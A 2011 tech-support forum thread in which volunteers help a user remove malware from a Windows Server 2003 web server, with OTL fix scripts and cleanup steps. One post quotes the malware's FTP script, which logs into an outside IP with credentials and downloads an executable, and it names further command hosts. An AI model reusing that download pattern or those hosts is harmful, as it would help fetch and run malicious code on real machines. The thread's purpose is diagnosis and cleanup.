Virus on win 2003

Discussion in 'Malware Help - MG (A Specialist Will Reply)' started by taula, Oct 20, 2011.

Page 1 of 2
  1. taula

    taula Private E-2

    Periodically uses to be caught a thread executing some king of *123.exe file with temporary files. it is caught with both nod32 4... and mam.
    here i send the log file after running MGtools. thnx
     

    Attached Files:

    taula, Oct 20, 2011
    #1
  2. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    I would like to see the logs from running SAS and MBAM. You are missing a log in your MGLogs.zip.

    First:
    Please disable all anti-virus and anti-spyware programs while we do the following (re-enable when you are finished):

    Run C:\MGtools\analyse.exe by double clicking on it (Note: if using Vista, don't double click, use right click and select Run As Administrator). This is really HijackThis (select Do a system scan only) and select the following lines but DO NOT CLICK FIX until you exit all browser sessions including the one you are reading in right now:
    After clicking Fix, exit HJT.

    Now copy just the bold text below to notepad (Do not include any space above the word REGEDIT). Save it as fixME.reg to your desktop. Be sure the "Save as" type is set to "all files" Once you have saved it double click it and allow it to merge with the registry.
    Make sure that you tell me if you receive a success message about adding the above
    to the registry. If you do not get a success message, it definitely did not work.


    I am not sure if this will run on your system, but try it:
    Download OTL to your desktop.


    • Double click on the icon to run it. Make sure all other windows are closed and to let it run uninterrupted.
    • Vista and Windows 7 users Right-click OTL and choose Run as Administrator)
    • When the window appears, underneath Output at the top change it to Minimal Output.
    • Check the boxes beside LOP Check and Purity Check.
    • Click the Run Scan button. Do not change any settings unless otherwise told to do so. The scan wont take long.
    When the scan completes, it will open two notepad windows. OTL.Txt and Extras.Txt. These are saved in the same location as OTL.

    Attach both of these logs into your next reply.

    Now please do this online scan:
    Bitdefender Online Scan
     
    Last edited by a moderator: Oct 20, 2011
    TimW, Oct 20, 2011
    #2
  3. chaslang

    chaslang MajorGeeks Admin - Master Malware Expert Staff Member

    Actually more than one. This is due to the non-English version of Win 2003 answer version info with unprintable characters for the English language and thus make the version not recognized.

    Download and save the below files into the C:\MGtools folder and overwrite the copies already in the folder with these new versions which should work around the problem.

    GetRunKey

    ShowNew

    NwkTst


    Now run the C:\MGtools\GetLogs.bat file by double clicking on it (Note: if using Vista or Win7, don't double click, use right click and select Run As Administrator).



    Then attach the below logs:
    • C:\MGlogs.zip
    @TimW, I modified your fix since debugging MGtools will not be necessary with the above. ;)

    Also you missed the AppInit_DLL >>
    Code:
      
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\windows
   AppInit_DLLs REG_SZ          scawqu.dll
     
    Last edited: Oct 20, 2011
    chaslang, Oct 20, 2011
    #3
  4. taula

    taula Private E-2

    here it goes
     

    Attached Files:

    taula, Oct 24, 2011
    #4
  5. taula

    taula Private E-2

    sorry, here it goes after disable MBAM and nod 32 v4. beg your pardon!!
     

    Attached Files:

    taula, Oct 24, 2011
    #5
  6. taula

    taula Private E-2

    more here i send MBAM when detects the thread. And bit defender scan and otl scan
     
    taula, Oct 24, 2011
    #6
  7. taula

    taula Private E-2

    reports of: OTL, bitdefender and MBAM when it detects the thread
     
    taula, Oct 24, 2011
    #7
  8. taula

    taula Private E-2

    sorry file not added :(:(
     

    Attached Files:

    taula, Oct 24, 2011
    #8
  9. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    Please re-run my last fix. Nothing was removed from your HJT log. If necessary, go into your IE settings and remove everything in your trusted zone!!

    Also, use add/remove programs to uninstall this:
    Messenger Plus! Live

    Now:
    Double-click OTL.exe to start the program.

    • Copy and Paste the following code into the Custom Scans/Fixes textbox. Do not include the word Code

    Code:
    :processes
:otl
:files
@Alternate Data Stream - 122 bytes -> C:\Documents and Settings\All Users\Datos de programa\TEMP:BC359956
C:\WINDOWS\system32\89d396a.dll
C:\WINDOWS\system32\89d3a44.dll
C:\WINDOWS\system32\ge.dat
C:\WINDOWS\system32\on692.exe
C:\WINDOWS\system32\onf123.dat
C:\WINDOWS\system32\onf360.dat
C:\WINDOWS\system32\onf5.dat
C:\WINDOWS\system32\onf692.dat
C:\WINDOWS\system32\onfserver.dat
C:\WINDOWS\system32\onfzjz.dat
C:\WINDOWS\system32\s692.exe
C:\WINDOWS\system32\sa.exe
C:\WINDOWS\system32\sh123.exe
C:\WINDOWS\system32\shzjz.exe

:commands
[PURITY]
[EMPTYTEMP]
[RESETHOSTS]
[REBOOT]
    • Then click the Run Fix button at the top.
    • Click the OK button.
    • OTL may ask to reboot the machine. Please do so if asked.
    • The report should appear in Notepad after the reboot. Just close notepad and attach this log form OTL to your next message.


    Now clean out this folder:
    C:\WINDOWS\Temp\

    Now run the C:\MGtools\GetLogs.bat file by double clicking on it (Note: if using Vista or Win7, don't double click, use right click and select Run As Administrator).


    Then attach the below logs:

    • C:\MGlogs.zip

    Make sure you tell me how things are working now!
     
    TimW, Oct 24, 2011
    #9
  10. taula

    taula Private E-2

    here it goes Thnx
     

    Attached Files:

    taula, Oct 29, 2011
    #10
  11. taula

    taula Private E-2

    that malaware has muted to sh1.exe, onsyn.exe, sh2016.exe, and shsyn.exe and open a conection to IP 202.102.113.202 (china) using irc protocol
     

    Attached Files:

    taula, Oct 29, 2011
    #11
  12. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    Please re-run OTL and attach a new log.
     
    TimW, Oct 29, 2011
    #12
  13. taula

    taula Private E-2

    ok, here we go. Still deleting one by one (in IE) each 015 entry! sorry trusted zone is so full and i cannot delete all them using the tool.

    To improve this ill send the two last reports from MBAM, detecting svehost.exe and other pets thnx
     

    Attached Files:

    taula, Oct 30, 2011
    #13
  14. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    Please download SystemLook from one of the links below and save it to your Desktop.
    Download Mirror #1
    Download Mirror #2

    • Double-click SystemLook.exe to run it.
    • Copy the content of the following codebox into the main textfield:
      Code:
      :filefind
svehost
    • Click the Look button to start the scan.
    • When finished, a notepad window will open with the results of the scan. Please post this log in your next reply.
    Note: The log can also be found on your Desktop entitled SystemLook.txt
     
    TimW, Oct 31, 2011
    #14
  15. taula

    taula Private E-2

    ok, done. i have added also a partial log file recorded by nod32-v4. and a copy of the pair exe-dat files supposed to be created by virus... The curious thing is : sqlservr.exe creates the files hexserver.exe and hex2016.exe. are they legal. sqlservr is the sql server 2008 r2 express main. and secondly on2016.exe seems to be created by ftp.exe (it is legal.. attending the date of creation). ftp is running on this server to upload files via FTP for a web server.
    So are MBAM and NOD32 detecting false positives in this case??. there is someone in china trying to upload or download files from server?
    THX for you patience
     

    Attached Files:

    taula, Oct 31, 2011
    #15
  16. taula

    taula Private E-2

    to clarify more ill send also the MBAM detection when nod32 also do. the only thing i cannot explain is why firewall turns off when the threads begin to be detected :(
     

    Attached Files:

    taula, Oct 31, 2011
    #16
  17. taula

    taula Private E-2

    Finally got a zipeed file with all the threads. I hope you can manage them!!
     

    Attached Files:

    taula, Nov 1, 2011
    #17
  18. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    Yes, those are legit files, but if you are curious about them, you can upload them to Jotti:

    Click on the following link and use the below steps to scan a file: Virustotal

    Click the Browse... button.
    Navigate to the file and add it.
     
    TimW, Nov 2, 2011
    #18
  19. taula

    taula Private E-2

    even more using Process Explorer i got captured this it is provoked by a cmd command. in the txt file goes the exact command and it seems to be originated by sqlservr.exe which should be a legigal file rolleyes
     

    Attached Files:

    taula, Nov 2, 2011
    #19
  20. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    * Double-click SystemLook.exe to run it.
    * Copy the content of the following codebox into the main textfield:
    Code:
    
:filefind
sh2016sv.exe
    * Click the Look button to start the scan.
    * When finished, a notepad window will open with the results of the scan. Please post this log in your next reply.

    Note: The log can also be found on your Desktop entitled SystemLook.txt
     
    TimW, Nov 3, 2011
    #20
  21. taula

    taula Private E-2

    i have found thats those threads desappear once are detected by MBAM or nod32. but curiously i got this two threads.. onserver2000.exe and sserever.exe. both are gone onces detected by MBA and Nod32. and when begin to run turn off Firewall of windows
     

    Attached Files:

    taula, Nov 9, 2011
    #21
  22. TimW

    TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

    I am not familiar enough with SQL server to help you with these. They appear to be legit files, but you may want to post in the software forum for additional assistance.
     
    TimW, Nov 9, 2011
    #22
  23. chaslang

    chaslang MajorGeeks Admin - Master Malware Expert Staff Member

    @ TimW.
    No! This is an infection. The onserver.exe can be seen to be infected just by scanning with VirusTotal. Also you can see from the .dat files in the ZIP file that they are trying to contact IP addresses in China. See the below link for scan info related to the onserver.exe file:

    http://www.virustotal.com/file-scan/report.html?id=f64dd2ac9a07fbf835eaef02cd841b6cc747adea0b1d4b88931b1efc54720f61-1320886778


    @taula,

    Please download the current version of MGtools and save it to your root folder. Overwrite your previous MGtools.exe file with this one.

    Run MGtools.exe ( Note: If using Vista or Win7, make sure UAC is still disabled. Also don't double click on it, use right click and select Run As Administrator )

    Now attach the below log:
    • C:\MGlogs.zip
     
    Last edited: Nov 9, 2011
    chaslang, Nov 9, 2011
    #23
  24. taula

    taula Private E-2

    here we go: i have several unsupported advises.. maybe cause by spanish version?
     

    Attached Files:

    taula, Nov 10, 2011
    #24
  25. taula

    taula Private E-2

    to add more fire i would like to post what i get using gmer. i can see three supisious services without name or name between{fa....} with numbers and letters (sounds like versions and nothing about if they are on off or paused. I hopde this hepls
     

    Attached Files:

    taula, Nov 10, 2011
    #25
  26. chaslang

    chaslang MajorGeeks Admin - Master Malware Expert Staff Member

    I see that you have an illegal copy of NOD32 installed. You have to uninstall this now before we will continue to support you. See the below link:

    Warning about Porn, Keygens, Cracks, and other Illegal Software

    After you have uninstalled the below:

    Eset-NOD32: Fix Dasumo v4
    ESET NOD32 Antivirus


    then remove all of those URL that you have put into your Trusted Zone as TimW requested earlier. You should not be adding things like this to your Trusted Zone. It is almost never necessary and it is a bad practice to do this for no reason. In addition, adding so many, makes it ear for malware to hide there.

    Once you have dont the above, let's again download an even newer MGtools and get a new log so that we can continue.

    Please download the current version of MGtools and save it to your root folder. Overwrite your previous MGtools.exe file with this one.

    Run MGtools.exe ( Note: If using Vista or Win7, make sure UAC is still disabled. Also don't double click on it, use right click and select Run As Administrator )


    Now attach the below log:
    • C:\MGlogs.zip
     
    chaslang, Nov 10, 2011
    #26
  27. taula

    taula Private E-2

    all is done, finally, and here comes the gtools log
     

    Attached Files:

    taula, Nov 15, 2011
    #27
  28. thisisu

    thisisu Malware Consultant

    Hi, I will try to help you while chaslang is away.

    [​IMG] From Add/Remove Programs (via Control Panel), please uninstall the below:
    • J2SE Runtime Environment 5.0 Update 15
    • Java(TM) 6 Update 7

    [​IMG]Now we need to make use of OTL by Old Timer.
    • Double-click OTL.exe to run (Vista and Win7 right-click and select Run as administrator)
    • When OTL opens, copy the text in the code box below and paste it into the [​IMG] text-field.
      Code:
      [COLOR="DarkRed"]:otl[/COLOR]
O2 - BHO: (no name) - {02478D38-C3F9-4efb-9B51-7695ECA05670} - No CLSID value found.
O3 - HKCU\..\Toolbar\WebBrowser: (no name) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - No CLSID value found.
O4 - HKLM..\RunOnceEx: [Flags] Reg Error: Invalid data type. File not found
O4 - HKLM..\RunOnceEx: [Title] UnHackMe Rootkit Check File not found
[2011/10/17 23:31:41 | 000,000,002 | RHS- | M] () -- C:\WINDOWS\winstart.bat
[2011/09/19 13:13:39 | 000,709,968 | ---- | C] () -- C:\WINDOWS\is-EO24O.exe
[2011/05/04 19:19:01 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll84004.dll
[2011/05/04 19:18:53 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll57487.dll
[2011/03/31 14:03:23 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll53990.dll
[2011/02/21 23:04:54 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll78727.dll
[2011/02/21 23:04:49 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll64189.dll
[2011/02/21 23:04:46 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll10090.dll
[2011/02/21 09:35:16 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll62595.dll
[2011/02/20 22:21:51 | 000,041,472 | ---- | C] () -- C:\WINDOWS\System32\dll63809.dll
[2011/09/12 00:23:00 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Datos de programa\ESET
[2010/05/11 07:33:15 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Administrador\Datos de programa\Uniblue
[COLOR="DarkRed"]:services [/COLOR]
BQMRWOX
[COLOR="DarkRed"]:files[/COLOR]
C:\327882R2FWJFW
C:\32788R22FWJFW
C:\WINDOWS\system32\sh3.exe
C:\WINDOWS\system32\shsyn.exe
sc config BQMRWOX start= disabled /c
[COLOR="DarkRed"]:commands[/COLOR]
[purity]
[emptytemp]
    • Now click the [​IMG] button.
    • OTL may ask to reboot the machine. Please do so if asked.
    • Click the OK button.
    • When complete, Notepad will open.
    • Close Notepad.
    • A log file will be located at C:\_OTL\MovedFiles\mmddyyyy_hhmmss.log, where mmddyyyy_hhmmss is the date of the tool run.
    • Attach this log to your next message. (How to attach items to your post)
    • Now open OTL again and click the [​IMG] button
      Note: This automatically updates the OTL.txt log on your desktop.
    • Attach OTL.txt to your next message. (How to attach items to your post)

    [​IMG] Now run C:\MGtools\GetLogs.bat by double-clicking it (Vista and Win7 right-click and select Run as Administrator)
    Then attach C:\MGlogs.zip to your next message. (How to attach items to your post)
    Note: This will automatically update all the logs inside MGlogs.zip

    LET ME KNOW HOW THE PC IS RUNNING AFTER YOU HAVE COMPLETED THESE STEPS​
     
    thisisu, Nov 16, 2011
    #28
  29. taula

    taula Private E-2

    Thnx.. Here the files go. I have added a OTL log with LOD and Purity for just in case ...
     

    Attached Files:

    taula, Nov 16, 2011
    #29
  30. thisisu

    thisisu Malware Consultant

    Please re-read my instructions carefully.
     
    thisisu, Nov 16, 2011
    #30
  31. taula

    taula Private E-2

    the pc runs now smoothly. no more spurious threads
    thx
     
    taula, Nov 17, 2011
    #31
  32. thisisu

    thisisu Malware Consultant

    I was wanting to double-check this log for you but you never attached it.

    Glad to hear it. Surf safely!

    If you are not having any other malware problems, it is time to do our final steps:
    1. We recommend you keep SUPERAntiSpyware and Malwarebytes Anti-Malware for scanning/removal of malware. Unless you purchase them, they provide no protection. They do not use any significant amount of resources ( except a little disk space ) until you run a scan.
    2. If we had you use ComboFix, uninstall ComboFix (This uninstall will only work as written if you installed ComboFix on your Desktop like we requested.)
      • Click START then RUN and enter the below into the run box and then click OK. Note the quotes are required
      • "%userprofile%\Desktop\combofix" /uninstall
        • Notes: The space between the combofix" and the /uninstall, it must be there.
        • This will uninstall ComboFix and also reset hidden files and folders settings back to Windows defaults.
    3. Go back to step 6 of the READ ME and renable your Disk Emulation software with Defogger if you had disabled it.
    4. Any other miscellaneous tools we may have had you install or download can be uninstalled and deleted.
    5. If we had you download any registry patches like fixme.reg or fixWLK.reg (or any others), you can delete these files now.
    6. If running Vista, it is time to make sure you have reenabled UAC by double clicking on the C:\MGtools\enableUAC.reg file and allowing it to be added to the registry.
    7. Go to add/remove programs and uninstall HijackThis if it present
    8. Goto the C:\MGtools folder and find the MGclean.bat file. Double click on this file to run this cleanup program that will remove files and folders
      related to MGtools and some other items from our cleaning procedures.
    9. If you are running Win 7, Vista, Windows XP or Windows ME, do the below:
      • Refer to the cleaning procedures pointed to by step 7 of the READ ME
        for your Window version and see the instructions to Disable System Restore which will flush your Restore Points.
      • Then reboot and Enable System Restore to create a new clean Restore Point.
    10. After doing the above, you should work through the below link:
     
    thisisu, Nov 17, 2011
    #32
  33. taula

    taula Private E-2

    it appeared again this morning i add the MAMB log info and the one you have asked to me it was done but never attached. Beg your pardon
     

    Attached Files:

    taula, Nov 18, 2011
    #33
  34. thisisu

    thisisu Malware Consultant

    [​IMG] Run an OTL scan using these settings...
    • Double-click OTL.exe to run (Vista and Win7 right click and select Run as administrator)
    • When the window appears, underneath Output at the top-right, make sure Standard Output is selected.
    • Select Scan All Users.
    • Under Drivers and Services, choose "All" for both.
    • Check the boxes beside LOP Check and Purity Check.
    • Copy the text in the code box below and paste it into the [​IMG] text-field.
      Code:
      netsvcs
/md5start
atapi.sys
csrss.exe
explorer.exe
regedit.exe
services.exe
svchost.exe
userinit.exe
winlogon.exe
/md5stop
%systemdrive%\*.*
%systemroot%\*. /mp /s
%systemroot%\system32\*.sys /90
%systemroot%\system32\*.exe /lockedfiles
%systemroot%\system32\drivers\*.sys /lockedfiles
    • Now click the [​IMG] button.
    • When the scan is complete, Notepad will open with the results of the OTL scan.
    • Close Notepad.
    • There will be a log file on your desktop entitled OTL.txt.
    • Attach OTL.txt to your next message. (How to attach items to your post)
     
    thisisu, Nov 18, 2011
    #34
  35. taula

    taula Private E-2

    ok, done
     

    Attached Files:

    • OTL.Txt
      File size:
      229.4 KB
      Views:
      7
    taula, Nov 18, 2011
    #35
  36. thisisu

    thisisu Malware Consultant

    [​IMG]Now we need to make use of OTL by Old Timer.
    • Double-click OTL.exe to run (Vista and Win7 right-click and select Run as administrator)
    • When OTL opens, copy the text in the code box below and paste it into the [​IMG] text-field.
      Code:
      [COLOR="DarkRed"]:otl[/COLOR]
[2011/11/13 23:24:03 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Datos de programa\Driver Mender
[2011/11/18 08:33:53 | 000,000,110 | ---- | M] () -- C:\WINDOWS\System32\shxiangming.exe
[2011/11/18 08:33:44 | 000,000,072 | ---- | M] () -- C:\WINDOWS\System32\onfxiangming.dat
[2011/11/16 23:01:27 | 000,000,061 | ---- | M] () -- C:\WINDOWS\System32\sh2020.exe
[2011/11/16 23:01:14 | 000,000,062 | ---- | M] () -- C:\WINDOWS\System32\onf2020.dat
[2011/11/16 23:00:51 | 000,000,061 | ---- | M] () -- C:\WINDOWS\System32\sh2016.exe
[2011/11/16 23:00:30 | 000,000,062 | ---- | M] () -- C:\WINDOWS\System32\onf2016.dat
[2011/11/16 15:45:17 | 000,000,056 | ---- | M] () -- C:\WINDOWS\System32\onfsyn.dat
[2011/11/15 17:32:58 | 000,000,074 | ---- | M] () -- C:\WINDOWS\System32\onfserver2000.dat
[2011/11/14 18:06:41 | 000,000,060 | ---- | M] () -- C:\WINDOWS\System32\onf3.dat
[COLOR="DarkRed"]:commands[/COLOR]
[emptytemp]
[resethosts]
    • Now click the [​IMG] button.
    • OTL may ask to reboot the machine. Please do so if asked.
    • Click the OK button.
    • When complete, Notepad will open.
    • Close Notepad.
    • A log file will be located at C:\_OTL\MovedFiles\mmddyyyy_hhmmss.log, where mmddyyyy_hhmmss is the date of the tool run.
    • Attach this log to your next message. (How to attach items to your post)
    • Now open OTL again and click the [​IMG] button
      Note: This automatically updates the OTL.txt log on your desktop.
    • Attach OTL.txt to your next message. (How to attach items to your post)

    How are things running now?
     
    thisisu, Nov 18, 2011
    #36
  37. taula

    taula Private E-2

    ok. both logs are done + i have discovered several registry entries very supicious, ill send you and export of them. i have an empty key in the registry correponding to hkey_local_machine\Software\microsoft\windows\securitycenter\svc that doesnot mean no notification for virus discovered?
     

    Attached Files:

    taula, Nov 19, 2011
    #37
  38. thisisu

    thisisu Malware Consultant

    Can you see if these work on Server 2003?

    If one doesn't work, just continue on with the next tool.

    [​IMG] Now we need to run TDSSKiller by Kaspersky
    Follow the instructions here and attach your log when you are finished. (How to attach items to your post)


    Please download MBRCheck by GeeksToGo to your desktop.
    See the download links under this icon [​IMG]
    • Double click MBRCheck.exe to run (Vista and Win7 right click and select Run as Administrator)
    • It will show a Black screen with some information that will contain either the below line if no problem is found:
      • Done! Press ENTER to exit...
    • Or you will see more information like below if a problem is found:
      • Found non-standard or infected MBR.
      • Enter 'Y' and hit ENTER for more options, or 'N' to exit:
    • Either way, just choose to exit the program at this point since we want to see only the scan results to begin with.
    • MBRCheck will create a log named similar to MBRCheck_07.16.10_00.32.33.txt which is random based on date and time.
    • Attach this log to your next message. (How to attach items to your post)

    [​IMG] Now we need to run GMER.
    Follow the instructions here and attach your log when you are finished. (How to attach items to your post)
     
    thisisu, Nov 19, 2011
    #38
  39. taula

    taula Private E-2

    well while karpensky and MBRCheck run smothly, in the midle of gmer i got the infamous blue screen.. ill try to do it again. ie turned very unresponsive and slow
     

    Attached Files:

    taula, Nov 19, 2011
    #39
  40. taula

    taula Private E-2

    ok. After goings forth and back i got it is a kind of Sasser virus. It has a .dat file the following ftp code:
    open 121.33.253.111
    ming
    xin
    get (whatever).exe
    bye

    xin and min are the user and password for that ftp server. it is executed by its counterpart .exe which turns off firewall and execute the ftp script
    the main thread is onxiangming.exe (352kb)

    how can i get ride of that ****ing SASSER type virus?

    i has been so crazy and disabled all antivirus and malaware and the first thing happened was a lsass.exe error and a close of LSA.
    it uses sh2016.exe, sh2020.exe to get their counterpartes .exe from the IP
    125.64.23.180
     
    taula, Nov 20, 2011
    #40
  41. thisisu

    thisisu Malware Consultant

    Is there any chance that you can leave this server offline while you do the below? Are any other machines there infected as well?

    Download Virus Removal Tool from Here to your desktop

    Run the program you have just downloaded to your desktop (it will be randomly named )

    First we will run a virus scan

    • Click the cog in the upper right
      [​IMG]


    • Select down to and including your main drive, once done select the Automatic scan tab and press Start Scan


      [​IMG]
    • Allow Virus Removal Tool to delete all infections found
    • Once it has finished select report tab (last tab)
    • Select Detected threads report from the left and press Save button
    • Save it to your desktop and attach to your next post. (How to attach items to your post)
     
    thisisu, Nov 20, 2011
    #41
  42. taula

    taula Private E-2

    after 3 days of scanning finally i got a log file.. and seems to work like a charme. thnx
     

    Attached Files:

    taula, Nov 24, 2011
    #42
  43. thisisu

    thisisu Malware Consultant

    Ok that removed quite a bit. Is the server online or offline? I would leave it offline until you are sure the infection has not returned. I am suspecting that another machine in the area is reinfecting the server.
     
    thisisu, Nov 24, 2011
    #43
  44. taula

    taula Private E-2

    IT happened again. Other attack, but the server is alone, no other machine is on the net.It is a server for web basically. And yes it only happens when it is open to internet, never happens with the nertwork is close.
     
    taula, Nov 25, 2011
    #44
  45. taula

    taula Private E-2

    i am going to close the web server. to see the effect... this machine has a fixed ip on internet.
     
    taula, Nov 25, 2011
    #45
  46. taula

    taula Private E-2

    Ok i have been checking all the files inside the main dir of the web server and.. OH SURPRISE, i got a .BAT file which is not mine at all. i rename the extension to txt and i would like you to exam it please. I didnt create that bat file.. but more how can it be created inside the main dir of the web server if i only out there .aspx forms?
     

    Attached Files:

    taula, Nov 25, 2011
    #46
  47. thisisu

    thisisu Malware Consultant

    getrunkey.bat is part of MGtools.

    Can you run C:\MGtools\GetLogs.bat and attach the latest MGlogs.zip for review?
     
    thisisu, Nov 25, 2011
    #47
  48. taula

    taula Private E-2

    I'll do it, should it be with net connection off???
     
    taula, Nov 25, 2011
    #48
  49. thisisu

    thisisu Malware Consultant

    Preferably, yes. You're absolutely sure no other machines are connected to this server?
     
    thisisu, Nov 25, 2011
    #49
  50. taula

    taula Private E-2

    there is a Brother 410 printer only. this is behind a router. when i close the nertwork connection, no infection is activated
     
    taula, Nov 26, 2011
    #50
Page 1 of 2

MajorGeeks.Com Menu

Downloads All In One Tweaks \ Android \ Anti-Malware \ Anti-Virus \ Appearance \ Backup \ Browsers \ CD\DVD\Blu-Ray \ Covert Ops \ Drive Utilities \ Drivers \ Graphics \ Internet Tools \ Multimedia \ Networking \ Office Tools \ PC Games \ System Tools \ Mac/Apple/Ipad Downloads

Other News: Top Downloads \ News (Tech) \ Off Base (Other Websites News) \ Way Off Base (Offbeat Stories and Pics)

Social: Facebook \ YouTube \ Twitter \ Tumblr \ Pintrest \ RSS Feeds